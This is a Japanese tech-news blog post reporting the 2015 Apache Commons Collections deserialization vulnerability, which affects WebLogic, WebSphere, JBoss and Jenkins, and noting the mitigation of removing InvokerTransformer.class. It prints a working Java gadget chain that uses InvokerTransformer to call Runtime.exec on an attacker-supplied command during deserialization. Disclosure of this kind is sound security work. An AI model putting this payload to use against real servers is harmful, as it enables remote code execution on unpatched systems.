Apache Commons Collectionsに脆弱性、主要ミドルウェアに影響甚大か?

S 2015 11 10 23 50 19

FoxGlove SecurityのStephen Breen氏が11月6日、Apacheのライブラリ「Commons Collections」に存在する脆弱性と検証コードをブログで公開しました(FoxGlove SecurityITmediaスラド)。この脆弱性は9ヶ月前から公開されていたものですが、未だ修正版は公開されていません。

Commons Collectionsは、Javaのコレクションクラスをより便利に利用するためのライブラリで、WebLogic、WebSphere、JBoss、Jenkins、OpenNMSなど多数のミドルウェアに影響を及ぼします。

脆弱性は、データをアンシリアライズするする際に下記InvokerTransformerにより任意のリモートコードが実行されてしまうというもので、FoxGlove SecurityではInvokerTransformer.classを削除する対策が紹介されています。

日本語で読める情報としては「commons-collectionsのInvokerTransformer脆弱性について」で詳細に解説されています。

public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };
 
    final Map innerMap = new HashMap();
 
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
 
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
 
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
 
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain    
             
    return handler;
}

スポンサーリンク